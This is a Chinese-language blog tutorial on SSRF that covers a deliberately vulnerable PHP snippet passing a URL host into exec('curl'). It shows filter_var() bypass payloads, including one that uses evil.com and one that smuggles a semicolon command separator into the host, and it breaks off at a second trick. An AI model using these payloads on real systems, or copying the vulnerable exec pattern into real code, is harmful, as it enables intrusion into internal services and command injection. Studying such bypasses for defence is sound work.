0%

ssrf

前言

经过几天对SSRF得学习,对SSRF终于有了了解,SSRF(Server-Side Request Forgery),
服务器端请求伪造,利用伪造服务器端发起请求,从而获取客服端获取不到得数据,访问客服端
访问不到内网,比如http://localhost等

0x01 SSRF可以做得事情

  • 内外网得端口和服务扫描
  • 本地敏感数据获取
  • 内外网Web站点漏洞利用
  • …..等等

0x02 漏洞产生

由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。

由此可见,我们可以从地址和协议这两个方面对SSRF漏洞进行利用

0x03 漏洞案例以及几个trick

  • trick one : how to bypass filter_var()

    • 参考文献:

      1
      2
      https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
      http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick1-filter-var-bypass
    • 废话不多说,代码直接上

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      <?php
      $url = $_GET['url'];
      echo "Argument: ".$url."\n";
      //validate the URL format
      if(filter_var($url, FILTER_VALIDATE_URL)) {
      //parse the URL
      $r = parse_url($url);
      var_dump($r);
      if(preg_match('/sherlocklee\.top/', $r['host']))
      {
      exec('curl -v -s "'.$r['host'].'"', $a);
      } else {
      echo "Error: Host not allowed";
      }
      } else {
      echo "Error: Invalid URL";
      }

      怎么绕过filter_var,我们先看看它的功能:

      filter_var()函数主要的目的就是验证url在这里,还有其他功能,有兴趣的可自行研究

      GET一个url

      1
      http://127.0.0.1/test/ssrf/filter_var.php?url=http://www.sherlocklee.top

      得到回显

      1
      2
      3
      4
      5
      6
      Argument: http://www.sherlocklee.top
      array(2) {
      ["scheme"]=>string(4) "http"
      ["host"]=>string(19) "www.sherlocklee.top"
      }
      Error: Host not allowed

      当我们输入:

      1
      url=http://www.sherlocklee.top;localhost

      得到:

      1
      Argument: http://www.sherlocklee.top;localhost Error: Invalid URL

      显然是不符合URL匹配要求

    重头戏
    使用url=0://evil.com:80,sherlocklee.top:80/

    1
    2
    3
    4
    5
    6
    7
    Argument: 0://evil.com:80,sherlocklee.top:80/
    array(4) {
    ["scheme"]=>string(1) "0"
    ["host"]=>string(27) "evil.com:80,sherlocklee.top"
    ["port"]=>int(80)
    ["path"]=>string(1) "/"
    }

    可以访问,达到了绕过的效果

    当使用了exec()函数例如题中exec(‘curl -v -s “‘.$r[‘host’].’”‘, $a);时可以使用:

    1
    url=0://evil$sherlocklee.top

    提交:

    1
    url=0://127.0.0.1:23333;sherlocklee.top:80

    发现:

    1
    2
    3
    4
    5
    6
    Argument: 0://127.0.0.1;sherlocklee.top:80
    array(3) {
    ["scheme"]=>string(1) "0"
    ["host"]=>string(25) "127.0.0.1;sherlocklee.top"
    ["port"]=>int(80)
    }

    进入了正则匹配,成功绕过。

  • trick two:libcurl and parse_url()